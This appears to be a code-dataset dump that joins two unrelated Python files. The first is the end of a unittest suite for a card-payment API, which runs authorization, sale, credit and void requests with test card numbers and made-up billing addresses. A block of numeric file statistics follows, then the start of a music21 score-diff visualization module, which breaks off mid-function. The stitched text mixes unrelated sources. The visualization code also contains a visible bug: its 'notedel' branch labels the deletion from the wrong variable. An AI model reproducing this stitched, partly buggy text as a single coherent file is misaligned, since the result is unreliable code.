self.assertEquals('Approved', voidresponse['voidResponse']['message'])
def test_table_2_1_5_avs(self):
txn_dict = {
'authorization': {
'orderId': '5',
'amount': '000',
'orderSource': 'ecommerce',
'id': 'thisisid',
'cardholderAuthentication': {
'authenticationValue': 'BwABBJQ1AgAAAAAgJDUCAAAAAAA=',
},
'card': {
'number': '4100200300011001',
'expDate': '0521',
'cardValidationNum': '463',
'type': 'VI',
},
}
}
response = online.request(txn_dict, conf)
self.assertEquals('000', response['authorizationResponse']['response'])
self.assertEquals('Approved', response['authorizationResponse']['message'])
self.assertEquals('55555', response['authorizationResponse']['authCode'])
self.assertEquals('32', response['authorizationResponse']['fraudResult']['avsResult'])
self.assertEquals('M', response['authorizationResponse']['fraudResult']['cardValidationResult'])
def test_table_2_1_5_sale(self):
txn_dict = {
'sale': {
'orderId': '5',
'amount': 10010,
'orderSource': 'ecommerce',
'id': 'thisisid',
'cardholderAuthentication': {
'authenticationValue': 'BwABBJQ1AgAAAAAgJDUCAAAAAAA=',
},
'card': {
'number': '4100200300011001',
'expDate': '0521',
'cardValidationNum': '463',
'type': 'VI',
},
}
}
response = online.request(txn_dict, conf)
self.assertEquals('000', response['saleResponse']['response'])
self.assertEquals('Approved', response['saleResponse']['message'])
self.assertEquals('55555', response['saleResponse']['authCode'])
self.assertEquals('32', response['saleResponse']['fraudResult']['avsResult'])
self.assertEquals('M', response['saleResponse']['fraudResult']['cardValidationResult'])
# orderId *B
txn_dict = {
'credit': {
'cnpTxnId': response['saleResponse']['cnpTxnId'],
'id': 'ThisIsID'
}
}
creditresponse = online.request(txn_dict, conf)
self.assertEquals('000', creditresponse['creditResponse']['response'])
self.assertEquals('Approved', creditresponse['creditResponse']['message'])
# orderId *C
txn_dict = {
'void': {
'cnpTxnId': creditresponse['creditResponse']['cnpTxnId'],
'id': 'ThisIsID'
}
}
voidresponse = online.request(txn_dict, conf)
self.assertEquals('000', voidresponse['voidResponse']['response'])
self.assertEquals('Approved', voidresponse['voidResponse']['message'])
def test_table_2_1_6_auth(self):
txn_dict = {
'authorization': {
'orderId': '6',
'amount': 10010,
'orderSource': 'ecommerce',
'id': 'thisisid',
'billToAddress': {
'name': 'Joe Green',
'addressLine1': '6 Main St.',
'city': 'Derry',
'state': 'NH',
'zip': '03038',
'country': 'USA',
},
'card': {
'number': '4457010100000008',
'expDate': '0621',
'cardValidationNum': '992',
'type': 'VI',
}
}
}
response = online.request(txn_dict, conf)
self.assertEquals('110', response['authorizationResponse']['response'])
self.assertEquals('Insufficient Funds', response['authorizationResponse']['message'])
self.assertEquals('34', response['authorizationResponse']['fraudResult']['avsResult'])
self.assertEquals('P', response['authorizationResponse']['fraudResult']['cardValidationResult'])
def test_table_2_1_6_sale(self):
txn_dict = {
'sale': {
'orderId': '6',
'amount': 10010,
'orderSource': 'ecommerce',
'id': 'thisisid',
'billToAddress': {
'name': 'Joe Green',
'addressLine1': '6 Main St.',
'city': 'Derry',
'state': 'NH',
'zip': '03038',
'country': 'USA',
},
'card': {
'number': '4457010100000008',
'expDate': '0621',
'cardValidationNum': '992',
'type': 'VI',
}
}
}
response = online.request(txn_dict, conf)
self.assertEquals('110', response['saleResponse']['response'])
self.assertEquals('Insufficient Funds', response['saleResponse']['message'])
self.assertEquals('34', response['saleResponse']['fraudResult']['avsResult'])
self.assertEquals('P', response['saleResponse']['fraudResult']['cardValidationResult'])
# orderId *A
txn_dict = {
'void': {
'cnpTxnId': response['saleResponse']['cnpTxnId'],
'id': 'ThisIsID'
}
}
voidresponse = online.request(txn_dict, conf)
self.assertEquals('000', voidresponse['voidResponse']['response'])
self.assertEquals('Approved', voidresponse['voidResponse']['message'])
def test_table_2_1_7_auth(self):
txn_dict = {
'authorization': {
'orderId': '7',
'amount': 10010,
'orderSource': 'ecommerce',
'id': 'thisisid',
'billToAddress': {
'name': 'Jane Murray',
'addressLine1': '7 Main St.',
'city': 'Amesbury',
'state': 'MA',
'zip': '01913',
'country': 'USA',
},
'card': {
'number': '5112010100000002',
'expDate': '0721',
'cardValidationNum': '251',
'type': 'MC',
}
}
}
response = online.request(txn_dict, conf)
self.assertEquals('301', response['authorizationResponse']['response'])
self.assertEquals('Invalid Account Number', response['authorizationResponse']['message'])
self.assertEquals('34', response['authorizationResponse']['fraudResult']['avsResult'])
self.assertEquals('N', response['authorizationResponse']['fraudResult']['cardValidationResult'])
def test_table_2_1_7_avs(self):
txn_dict = {
'authorization': {
'orderId': '7',
'amount': '000',
'orderSource': 'ecommerce',
'id': 'thisisid',
'billToAddress': {
'name': 'Jane Murray',
'addressLine1': '7 Main St.',
'city': 'Amesbury',
'state': 'MA',
'zip': '01913',
'country': 'USA',
},
'card': {
'number': '5112010100000002',
'expDate': '0721',
'cardValidationNum': '251',
'type': 'MC',
}
}
}
response = online.request(txn_dict, conf)
self.assertEquals('301', response['authorizationResponse']['response'])
self.assertEquals('Invalid Account Number', response['authorizationResponse']['message'])
self.assertEquals('34', response['authorizationResponse']['fraudResult']['avsResult'])
self.assertEquals('N', response['authorizationResponse']['fraudResult']['cardValidationResult'])
def test_table_2_1_7_sale(self):
txn_dict = {
'sale': {
'orderId': '7',
'amount': 10010,
'orderSource': 'ecommerce',
'id': 'thisisid',
'billToAddress': {
'name': 'Jane Murray',
'addressLine1': '7 Main St.',
'city': 'Amesbury',
'state': 'MA',
'zip': '01913',
'country': 'USA',
},
'card': {
'number': '5112010100000002',
'expDate': '0721',
'cardValidationNum': '251',
'type': 'MC',
}
}
}
response = online.request(txn_dict, conf)
self.assertEquals('301', response['saleResponse']['response'])
self.assertEquals('Invalid Account Number', response['saleResponse']['message'])
self.assertEquals('34', response['saleResponse']['fraudResult']['avsResult'])
self.assertEquals('N', response['saleResponse']['fraudResult']['cardValidationResult'])
def test_table_2_1_8_auth(self):
txn_dict = {
'authorization': {
'orderId': '8',
'amount': 10010,
'orderSource': 'ecommerce',
'id': 'thisisid',
'billToAddress': {
'name': 'Mark Johnson',
'addressLine1': '8 Main St.',
'city': 'Manchester',
'state': 'NH',
'zip': '03101',
'country': 'USA',
},
'card': {
'number': '6011010100000002',
'expDate': '0821',
'cardValidationNum': '184',
'type': 'DI',
}
}
}
response = online.request(txn_dict, conf)
self.assertEquals('123', response['authorizationResponse']['response'])
self.assertEquals('Call Discover', response['authorizationResponse']['message'])
self.assertEquals('34', response['authorizationResponse']['fraudResult']['avsResult'])
self.assertEquals('P', response['authorizationResponse']['fraudResult']['cardValidationResult'])
def test_table_2_1_8_avs(self):
txn_dict = {
'authorization': {
'orderId': '8',
'amount': '000',
'orderSource': 'ecommerce',
'id': 'thisisid',
'billToAddress': {
'name': 'Mark Johnson',
'addressLine1': '8 Main St.',
'city': 'Manchester',
'state': 'NH',
'zip': '03101',
'country': 'USA',
},
'card': {
'number': '6011010100000002',
'expDate': '0821',
'cardValidationNum': '184',
'type': 'DI',
}
}
}
response = online.request(txn_dict, conf)
self.assertEquals('123', response['authorizationResponse']['response'])
self.assertEquals('Call Discover', response['authorizationResponse']['message'])
self.assertEquals('34', response['authorizationResponse']['fraudResult']['avsResult'])
self.assertEquals('P', response['authorizationResponse']['fraudResult']['cardValidationResult'])
def test_table_2_1_8_sale(self):
txn_dict = {
'sale': {
'orderId': '8',
'amount': 10010,
'orderSource': 'ecommerce',
'id': 'thisisid',
'billToAddress': {
'name': 'Mark Johnson',
'addressLine1': '8 Main St.',
'city': 'Manchester',
'state': 'NH',
'zip': '03101',
'country': 'USA',
},
'card': {
'number': '6011010100000002',
'expDate': '0821',
'cardValidationNum': '184',
'type': 'DI',
}
}
}
response = online.request(txn_dict, conf)
self.assertEquals('123', response['saleResponse']['response'])
self.assertEquals('Call Discover', response['saleResponse']['message'])
self.assertEquals('34', response['saleResponse']['fraudResult']['avsResult'])
self.assertEquals('P', response['saleResponse']['fraudResult']['cardValidationResult'])
def test_table_2_1_9_auth(self):
txn_dict = {
'authorization': {
'orderId': '9',
'amount': 10010,
'orderSource': 'ecommerce',
'id': 'thisisid',
'billToAddress': {
'name': 'James Miller',
'addressLine1': '9 Main St.',
'city': 'Boston',
'state': 'MA',
'zip': '02134',
'country': 'USA',
},
'card': {
'number': '375001010000003',
'expDate': '0921',
'cardValidationNum': '0421',
'type': 'AX',
}
}
}
response = online.request(txn_dict, conf)
self.assertEquals('303', response['authorizationResponse']['response'])
self.assertEquals('Pick Up Card', response['authorizationResponse']['message'])
self.assertEquals('34', response['authorizationResponse']['fraudResult']['avsResult'])
self.assertEquals('P', response['authorizationResponse']['fraudResult']['cardValidationResult'])
def test_table_2_1_9_avs(self):
txn_dict = {
'authorization': {
'orderId': '9',
'amount': '000',
'orderSource': 'ecommerce',
'id': 'thisisid',
'billToAddress': {
'name': 'James Miller',
'addressLine1': '9 Main St.',
'city': 'Boston',
'state': 'MA',
'zip': '02134',
'country': 'USA',
},
'card': {
'number': '375001010000003',
'expDate': '0921',
'cardValidationNum': '0421',
'type': 'AX',
}
}
}
response = online.request(txn_dict, conf)
self.assertEquals('303', response['authorizationResponse']['response'])
self.assertEquals('Pick Up Card', response['authorizationResponse']['message'])
self.assertEquals('34', response['authorizationResponse']['fraudResult']['avsResult'])
self.assertEquals('P', response['authorizationResponse']['fraudResult']['cardValidationResult'])
def test_table_2_1_9_sale(self):
txn_dict = {
'sale': {
'orderId': '9',
'amount': 10010,
'orderSource': 'ecommerce',
'id': 'thisisid',
'billToAddress': {
'name': 'James Miller',
'addressLine1': '9 Main St.',
'city': 'Boston',
'state': 'MA',
'zip': '02134',
'country': 'USA',
},
'card': {
'number': '375001010000003',
'expDate': '0921',
'cardValidationNum': '0421',
'type': 'AX',
}
}
}
response = online.request(txn_dict, conf)
self.assertEquals('303', response['saleResponse']['response'])
self.assertEquals('Pick Up Card', response['saleResponse']['message'])
self.assertEquals('34', response['saleResponse']['fraudResult']['avsResult'])
self.assertEquals('P', response['saleResponse']['fraudResult']['cardValidationResult'])
def test_table_2_1_10_auth(self):
txn_dict = {
'authorization': {
'orderId': '10',
'amount': 40000,
'orderSource': 'ecommerce',
'id': 'thisisid',
'card': {
'number': '4457010140000141',
'expDate': '0921',
'type': 'VI',
},
'allowPartialAuth': True,
}
}
response = online.request(txn_dict, conf)
self.assertEquals('010', response['authorizationResponse']['response'])
self.assertEquals('Partially Approved', response['authorizationResponse']['message'])
self.assertEquals('32000', response['authorizationResponse']['approvedAmount'])
def test_table_2_1_11_auth(self):
txn_dict = {
'authorization': {
'orderId': '11',
'amount': 60000,
'orderSource': 'ecommerce',
'id': 'thisisid',
'card': {
'number': '5112010140000004',
'expDate': '1121',
'type': 'MC',
},
'allowPartialAuth': True,
}
}
response = online.request(txn_dict, conf)
self.assertEquals('010', response['authorizationResponse']['response'])
self.assertEquals('Partially Approved', response['authorizationResponse']['message'])
self.assertEquals('48000', response['authorizationResponse']['approvedAmount'])
def test_table_2_1_12_auth(self):
txn_dict = {
'authorization': {
'orderId': '12',
'amount': 50000,
'orderSource': 'ecommerce',
'id': 'thisisid',
'card': {
'number': '375001014000009',
'expDate': '0421',
'type': 'AX',
},
'allowPartialAuth': True,
}
}
response = online.request(txn_dict, conf)
self.assertEquals('010', response['authorizationResponse']['response'])
self.assertEquals('Partially Approved', response['authorizationResponse']['message'])
self.assertEquals('40000', response['authorizationResponse']['approvedAmount'])
def test_table_2_1_13_auth(self):
txn_dict = {
'authorization': {
'orderId': '13',
'amount': 15000,
'orderSource': 'ecommerce',
'id': 'thisisid',
'card': {
'number': '6011010140000004',
'expDate': '0821',
'type': 'DI',
},
'allowPartialAuth': True,
}
}
response = online.request(txn_dict, conf)
self.assertEquals('010', response['authorizationResponse']['response'])
self.assertEquals('Partially Approved', response['authorizationResponse']['message'])
self.assertEquals('12000', response['authorizationResponse']['approvedAmount'])
if __name__ == '__main__':
unittest.main()
| 39.132953
| 108
| 0.496238
| 3,339
| 47,977
| 7.042228
| 0.091345
| 0.125202
| 0.049332
| 0.048482
| 0.935698
| 0.918772
| 0.883176
| 0.865442
| 0.852684
| 0.845156
| 0
| 0.047161
| 0.359151
| 47,977
| 1,225
| 109
| 39.164898
| 0.717622
| 0.036017
| 0
| 0.763772
| 0
| 0
| 0.295683
| 0.049948
| 0
| 0
| 0
| 0
| 0.172736
| 1
| 0.028011
| false
| 0
| 0.006536
| 0
| 0.035481
| 0.001867
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
0ed88bb76c36f4039bce0f6206267809ecf5bbb5
| 53,738
|
py
|
Python
|
musicdiff/visualization.py
|
gregchapman-dev/musicdiff
|
077ea707d1efb1b378120e1411dd9299d7688933
|
[
"MIT"
] | 7
|
2022-02-11T09:54:48.000Z
|
2022-03-12T03:40:07.000Z
|
musicdiff/visualization.py
|
gregchapman-dev/musicdiff
|
077ea707d1efb1b378120e1411dd9299d7688933
|
[
"MIT"
] | 4
|
2022-01-26T11:10:19.000Z
|
2022-03-29T22:27:34.000Z
|
musicdiff/visualization.py
|
gregchapman-dev/musicdiff
|
077ea707d1efb1b378120e1411dd9299d7688933
|
[
"MIT"
] | null | null | null |
# ------------------------------------------------------------------------------
# Purpose: visualization is a diff visualization package for use by musicdiff.
# musicdiff is a package for comparing music scores using music21.
#
# Authors: Greg Chapman <gregc@mac.com>
# musicdiff is derived from:
# https://github.com/fosfrancesco/music-score-diff.git
# by Francesco Foscarin <foscarin.francesco@gmail.com>
#
# Copyright: (c) 2022 Francesco Foscarin, Greg Chapman
# License: MIT, see LICENSE
# ------------------------------------------------------------------------------
__docformat__ = "google"
from typing import List, Tuple, Union
from pathlib import Path
import sys
import music21 as m21
from musicdiff.annotation import AnnMeasure, AnnVoice, AnnNote, AnnExtra
class Visualization:
# These can be set by the client to different colors
INSERTED_COLOR = "red"
"""
`INSERTED_COLOR` can be set to customize the rendered score markup that `mark_diffs` does.
"""
DELETED_COLOR = "red"
"""
`DELETED_COLOR` can be set to customize the rendered score markup that `mark_diffs` does.
"""
CHANGED_COLOR = "red"
"""
`CHANGED_COLOR` can be set to customize the rendered score markup that `mark_diffs` does.
"""
@staticmethod
def mark_diffs(
score1: m21.stream.Score, score2: m21.stream.Score, operations: List[Tuple]
):
"""
Mark up two music21 scores with the differences described by an operations
list (e.g. a list returned from `musicdiff.Comparison.annotated_scores_diff`).
Args:
score1 (music21.stream.Score): The first score to mark up
score2 (music21.stream.Score): The second score to mark up
operations (List[Tuple]): The operations list that describes the difference
between the two scores
"""
for op in operations:
# bar
if op[0] == "insbar":
assert isinstance(op[2], AnnMeasure)
# color all the notes in the inserted score2 measure using Visualization.INSERTED_COLOR
measure2 = score2.recurse().getElementById(op[2].measure)
textExp = m21.expressions.TextExpression("inserted measure")
textExp.style.color = Visualization.INSERTED_COLOR
measure2.insert(0, textExp)
measure2.style.color = (
Visualization.INSERTED_COLOR
) # this apparently does nothing
for el in measure2.recurse().notesAndRests:
el.style.color = Visualization.INSERTED_COLOR
elif op[0] == "delbar":
assert isinstance(op[1], AnnMeasure)
# color all the notes in the deleted score1 measure using Visualization.DELETED_COLOR
measure1 = score1.recurse().getElementById(op[1].measure)
textExp = m21.expressions.TextExpression("deleted measure")
textExp.style.color = Visualization.DELETED_COLOR
measure1.insert(0, textExp)
measure1.style.color = (
Visualization.DELETED_COLOR
) # this apparently does nothing
for el in measure1.recurse().notesAndRests:
el.style.color = Visualization.DELETED_COLOR
# voices
elif op[0] == "voiceins":
assert isinstance(op[2], AnnVoice)
# color all the notes in the inserted score2 voice using Visualization.INSERTED_COLOR
voice2 = score2.recurse().getElementById(op[2].voice)
textExp = m21.expressions.TextExpression("inserted voice")
textExp.style.color = Visualization.INSERTED_COLOR
voice2.insert(0, textExp)
voice2.style.color = (
Visualization.INSERTED_COLOR
) # this apparently does nothing
for el in voice2.recurse().notesAndRests:
el.style.color = Visualization.INSERTED_COLOR
elif op[0] == "voicedel":
assert isinstance(op[1], AnnVoice)
# color all the notes in the deleted score1 voice using Visualization.DELETED_COLOR
voice1 = score1.recurse().getElementById(op[1].voice)
textExp = m21.expressions.TextExpression("deleted voice")
textExp.style.color = Visualization.DELETED_COLOR
voice1.insert(0, textExp)
voice1.style.color = (
Visualization.DELETED_COLOR
) # this apparently does nothing
for el in voice1.recurse().notesAndRests:
el.style.color = Visualization.DELETED_COLOR
# extra
elif op[0] == "extrains":
assert isinstance(op[2], AnnExtra)
# color the extra using Visualization.INSERTED_COLOR, and add a textExpression
# describing the insertion.
extra2 = score2.recurse().getElementById(op[2].extra)
textExp = m21.expressions.TextExpression(f"inserted {extra2.classes[0]}")
textExp.style.color = Visualization.INSERTED_COLOR
if isinstance(extra2, m21.spanner.Spanner):
insertionPoint = extra2.getFirst()
insertionPoint.activeSite.insert(insertionPoint.offset, textExp)
else:
extra2.activeSite.insert(extra2.offset, textExp)
elif op[0] == "extradel":
assert isinstance(op[1], AnnExtra)
# color the extra using Visualization.DELETED_COLOR, and add a textExpression
# describing the deletion.
extra1 = score1.recurse().getElementById(op[1].extra)
textExp = m21.expressions.TextExpression(f"deleted {extra1.classes[0]}")
textExp.style.color = Visualization.DELETED_COLOR
if isinstance(extra1, m21.spanner.Spanner):
insertionPoint = extra1.getFirst()
insertionPoint.activeSite.insert(insertionPoint.offset, textExp)
else:
extra1.activeSite.insert(extra1.offset, textExp)
elif op[0] == "extrasub":
assert isinstance(op[1], AnnExtra)
assert isinstance(op[2], AnnExtra)
# color the extra using Visualization.CHANGED_COLOR, and add a textExpression
# describing the change.
extra1 = score1.recurse().getElementById(op[1].extra)
extra2 = score2.recurse().getElementById(op[2].extra)
if extra1.classes[0] != extra2.classes[0]:
textExp1 = m21.expressions.TextExpression(
f"changed to {extra2.classes[0]}")
textExp2 = m21.expressions.TextExpression(
f"changed from {extra1.classes[0]}")
else:
textExp1 = m21.expressions.TextExpression(f"changed {extra1.classes[0]}")
textExp2 = m21.expressions.TextExpression(f"changed {extra1.classes[0]}")
textExp1.style.color = Visualization.CHANGED_COLOR
textExp2.style.color = Visualization.CHANGED_COLOR
if isinstance(extra1, m21.spanner.Spanner):
insertionPoint1 = extra1.getFirst()
insertionPoint2 = extra2.getFirst()
insertionPoint1.activeSite.insert(insertionPoint1.offset, textExp1)
insertionPoint2.activeSite.insert(insertionPoint2.offset, textExp2)
else:
extra1.activeSite.insert(extra1.offset, textExp1)
extra2.activeSite.insert(extra2.offset, textExp2)
elif op[0] == "extracontentedit":
assert isinstance(op[1], AnnExtra)
assert isinstance(op[2], AnnExtra)
# color the extra using Visualization.CHANGED_COLOR, and add a textExpression
# describing the change.
extra1 = score1.recurse().getElementById(op[1].extra)
extra2 = score2.recurse().getElementById(op[2].extra)
textExp1 = m21.expressions.TextExpression(f"changed {extra1.classes[0]} text")
textExp2 = m21.expressions.TextExpression(f"changed {extra1.classes[0]} text")
textExp1.style.color = Visualization.CHANGED_COLOR
textExp2.style.color = Visualization.CHANGED_COLOR
if isinstance(extra1, m21.spanner.Spanner):
insertionPoint1 = extra1.getFirst()
insertionPoint2 = extra2.getFirst()
insertionPoint1.activeSite.insert(insertionPoint1.offset, textExp1)
insertionPoint2.activeSite.insert(insertionPoint2.offset, textExp2)
else:
extra1.activeSite.insert(extra1.offset, textExp1)
extra2.activeSite.insert(extra2.offset, textExp2)
elif op[0] == "extraoffsetedit":
assert isinstance(op[1], AnnExtra)
assert isinstance(op[2], AnnExtra)
# color the extra using Visualization.CHANGED_COLOR, and add a textExpression
# describing the change.
extra1 = score1.recurse().getElementById(op[1].extra)
extra2 = score2.recurse().getElementById(op[2].extra)
textExp1 = m21.expressions.TextExpression(f"changed {extra1.classes[0]} offset")
textExp2 = m21.expressions.TextExpression(f"changed {extra1.classes[0]} offset")
textExp1.style.color = Visualization.CHANGED_COLOR
textExp2.style.color = Visualization.CHANGED_COLOR
if isinstance(extra1, m21.spanner.Spanner):
insertionPoint1 = extra1.getFirst()
insertionPoint2 = extra2.getFirst()
insertionPoint1.activeSite.insert(insertionPoint1.offset, textExp1)
insertionPoint2.activeSite.insert(insertionPoint2.offset, textExp2)
else:
extra1.activeSite.insert(extra1.offset, textExp1)
extra2.activeSite.insert(extra2.offset, textExp2)
elif op[0] == "extradurationedit":
assert isinstance(op[1], AnnExtra)
assert isinstance(op[2], AnnExtra)
# color the extra using Visualization.CHANGED_COLOR, and add a textExpression
# describing the change.
extra1 = score1.recurse().getElementById(op[1].extra)
extra2 = score2.recurse().getElementById(op[2].extra)
textExp1 = m21.expressions.TextExpression(f"changed {extra1.classes[0]} duration")
textExp2 = m21.expressions.TextExpression(f"changed {extra1.classes[0]} duration")
textExp1.style.color = Visualization.CHANGED_COLOR
textExp2.style.color = Visualization.CHANGED_COLOR
if isinstance(extra1, m21.spanner.Spanner):
insertionPoint1 = extra1.getFirst()
insertionPoint2 = extra2.getFirst()
insertionPoint1.activeSite.insert(insertionPoint1.offset, textExp1)
insertionPoint2.activeSite.insert(insertionPoint2.offset, textExp2)
else:
extra1.activeSite.insert(extra1.offset, textExp1)
extra2.activeSite.insert(extra2.offset, textExp2)
elif op[0] == "extrastyleedit":
assert isinstance(op[1], AnnExtra)
assert isinstance(op[2], AnnExtra)
sd1 = op[1].styledict
sd2 = op[2].styledict
changedStr: str = ""
for k1, v1 in sd1.items():
if k1 not in sd2 or sd2[k1] != v1:
if changedStr:
changedStr += ","
changedStr += k1
# one last thing: check for keys in sd2 that aren't in sd1
for k2 in sd2:
if k2 not in sd1:
if changedStr:
changedStr += ","
changedStr += k2
# color the extra using Visualization.CHANGED_COLOR, and add a textExpression
# describing the change.
extra1 = score1.recurse().getElementById(op[1].extra)
extra2 = score2.recurse().getElementById(op[2].extra)
textExp1 = m21.expressions.TextExpression(f"changed {extra1.classes[0]} {changedStr}")
textExp2 = m21.expressions.TextExpression(f"changed {extra1.classes[0]} {changedStr}")
textExp1.style.color = Visualization.CHANGED_COLOR
textExp2.style.color = Visualization.CHANGED_COLOR
if isinstance(extra1, m21.spanner.Spanner):
insertionPoint1 = extra1.getFirst()
insertionPoint2 = extra2.getFirst()
insertionPoint1.activeSite.insert(insertionPoint1.offset, textExp1)
insertionPoint2.activeSite.insert(insertionPoint2.offset, textExp2)
else:
extra1.activeSite.insert(extra1.offset, textExp1)
extra2.activeSite.insert(extra2.offset, textExp2)
# note
elif op[0] == "noteins":
assert isinstance(op[2], AnnNote)
# color the inserted score2 general note (note, chord, or rest) using Visualization.INSERTED_COLOR
note2 = score2.recurse().getElementById(op[2].general_note)
note2.style.color = Visualization.INSERTED_COLOR
textExp = m21.expressions.TextExpression(f"inserted {note2.classes[0]}")
textExp.style.color = Visualization.INSERTED_COLOR
note2.activeSite.insert(note2.offset, textExp)
elif op[0] == "notedel":
assert isinstance(op[1], AnnNote)
# color the deleted score1 general note (note, chord, or rest) using Visualization.DELETED_COLOR
note1 = score1.recurse().getElementById(op[1].general_note)
note1.style.color = Visualization.DELETED_COLOR
textExp = m21.expressions.TextExpression(f"deleted {note2.classes[0]}")
textExp.style.color = Visualization.DELETED_COLOR
note1.activeSite.insert(note1.offset, textExp)
# pitch
elif op[0] == "pitchnameedit":
assert isinstance(op[1], AnnNote)
assert isinstance(op[2], AnnNote)
assert len(op) == 5 # the indices must be there
# color the changed note (in both scores) using Visualization.CHANGED_COLOR
chord1 = score1.recurse().getElementById(op[1].general_note)
note1 = chord1
if "Chord" in note1.classes:
# color just the indexed note in the chord
idx = op[4][0]
note1 = note1.notes[idx]
note1.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("changed pitch")
textExp.style.color = Visualization.CHANGED_COLOR
if note1.activeSite is not None:
note1.activeSite.insert(note1.offset, textExp)
else:
chord1.activeSite.insert(chord1.offset, textExp)
chord2 = score2.recurse().getElementById(op[2].general_note)
note2 = chord2
if "Chord" in note2.classes:
# color just the indexed note in the chord
idx = op[4][1]
note2 = note2.notes[idx]
note2.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("changed pitch")
textExp.style.color = Visualization.CHANGED_COLOR
if note2.activeSite is not None:
note2.activeSite.insert(note2.offset, textExp)
else:
chord2.activeSite.insert(chord2.offset, textExp)
elif op[0] == "inspitch":
assert isinstance(op[2], AnnNote)
assert len(op) == 5 # the indices must be there
# color the inserted note in score2 using Visualization.INSERTED_COLOR
chord2 = score2.recurse().getElementById(op[2].general_note)
note2 = chord2
if "Chord" in note2.classes:
# color just the indexed note in the chord
idx = op[4][1]
note2 = note2.notes[idx]
note2.style.color = Visualization.INSERTED_COLOR
if "Rest" in note2.classes:
textExp = m21.expressions.TextExpression("inserted rest")
else:
textExp = m21.expressions.TextExpression("inserted note")
textExp.style.color = Visualization.INSERTED_COLOR
if note2.activeSite is not None:
note2.activeSite.insert(note2.offset, textExp)
else:
chord2.activeSite.insert(chord2.offset, textExp)
elif op[0] == "delpitch":
assert isinstance(op[1], AnnNote)
assert len(op) == 5 # the indices must be there
# color the deleted note in score1 using Visualization.DELETED_COLOR
chord1 = score1.recurse().getElementById(op[1].general_note)
note1 = chord1
if "Chord" in note1.classes:
# color just the indexed note in the chord
idx = op[4][0]
note1 = note1.notes[idx]
note1.style.color = Visualization.DELETED_COLOR
if "Rest" in note1.classes:
textExp = m21.expressions.TextExpression("deleted rest")
else:
textExp = m21.expressions.TextExpression("deleted note")
textExp.style.color = Visualization.DELETED_COLOR
if note1.activeSite is not None:
note1.activeSite.insert(note1.offset, textExp)
else:
chord1.activeSite.insert(chord1.offset, textExp)
elif op[0] == "headedit":
assert isinstance(op[1], AnnNote)
assert isinstance(op[2], AnnNote)
# color the changed note/rest/chord (in both scores) using Visualization.CHANGED_COLOR
note1 = score1.recurse().getElementById(op[1].general_note)
note1.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("changed note head")
textExp.style.color = Visualization.CHANGED_COLOR
note1.activeSite.insert(note1.offset, textExp)
note2 = score2.recurse().getElementById(op[2].general_note)
note2.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("changed note head")
textExp.style.color = Visualization.CHANGED_COLOR
note2.activeSite.insert(note2.offset, textExp)
# beam
elif op[0] == "insbeam":
assert isinstance(op[1], AnnNote)
assert isinstance(op[2], AnnNote)
# color the modified note in both scores using Visualization.INSERTED_COLOR
note1 = score1.recurse().getElementById(op[1].general_note)
note1.style.color = Visualization.INSERTED_COLOR
if hasattr(note1, "beams"):
for beam in note1.beams:
beam.style.color = (
Visualization.INSERTED_COLOR
) # this apparently does nothing
textExp = m21.expressions.TextExpression("increased flags")
textExp.style.color = Visualization.INSERTED_COLOR
note1.activeSite.insert(note1.offset, textExp)
note2 = score2.recurse().getElementById(op[2].general_note)
note2.style.color = Visualization.INSERTED_COLOR
if hasattr(note2, "beams"):
for beam in note2.beams:
beam.style.color = (
Visualization.INSERTED_COLOR
) # this apparently does nothing
textExp = m21.expressions.TextExpression("increased flags")
textExp.style.color = Visualization.INSERTED_COLOR
note2.activeSite.insert(note2.offset, textExp)
elif op[0] == "delbeam":
assert isinstance(op[1], AnnNote)
assert isinstance(op[2], AnnNote)
# color the modified note in both scores using Visualization.DELETED_COLOR
note1 = score1.recurse().getElementById(op[1].general_note)
note1.style.color = Visualization.DELETED_COLOR
if hasattr(note1, "beams"):
for beam in note1.beams:
beam.style.color = (
Visualization.DELETED_COLOR
) # this apparently does nothing
textExp = m21.expressions.TextExpression("decreased flags")
textExp.style.color = Visualization.CHANGED_COLOR
note1.activeSite.insert(note1.offset, textExp)
note2 = score2.recurse().getElementById(op[2].general_note)
note2.style.color = Visualization.DELETED_COLOR
if hasattr(note2, "beams"):
for beam in note2.beams:
beam.style.color = (
Visualization.DELETED_COLOR
) # this apparently does nothing
textExp = m21.expressions.TextExpression("decreased flags")
textExp.style.color = Visualization.DELETED_COLOR
note2.activeSite.insert(note2.offset, textExp)
elif op[0] == "editbeam":
assert isinstance(op[1], AnnNote)
assert isinstance(op[2], AnnNote)
# color the changed beam (in both scores) using Visualization.CHANGED_COLOR
note1 = score1.recurse().getElementById(op[1].general_note)
note1.style.color = Visualization.CHANGED_COLOR
if hasattr(note1, "beams"):
for beam in note1.beams:
beam.style.color = (
Visualization.CHANGED_COLOR
) # this apparently does nothing
textExp = m21.expressions.TextExpression("changed flags")
textExp.style.color = Visualization.CHANGED_COLOR
note1.activeSite.insert(note1.offset, textExp)
note2 = score2.recurse().getElementById(op[2].general_note)
note2.style.color = Visualization.CHANGED_COLOR
if hasattr(note2, "beams"):
for beam in note2.beams:
beam.style.color = (
Visualization.CHANGED_COLOR
) # this apparently does nothing
textExp = m21.expressions.TextExpression("changed flags")
textExp.style.color = Visualization.CHANGED_COLOR
note2.activeSite.insert(note2.offset, textExp)
elif op[0] == "editnoteshape":
assert isinstance(op[1], AnnNote)
assert isinstance(op[2], AnnNote)
note1 = score1.recurse().getElementById(op[1].general_note)
note1.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("changed note shape")
textExp.style.color = Visualization.CHANGED_COLOR
note1.activeSite.insert(note1.offset, textExp)
note2 = score2.recurse().getElementById(op[2].general_note)
note2.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("changed note shape")
textExp.style.color = Visualization.CHANGED_COLOR
note2.activeSite.insert(note2.offset, textExp)
elif op[0] == "editnoteheadfill":
assert isinstance(op[1], AnnNote)
assert isinstance(op[2], AnnNote)
note1 = score1.recurse().getElementById(op[1].general_note)
note1.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("changed note head fill")
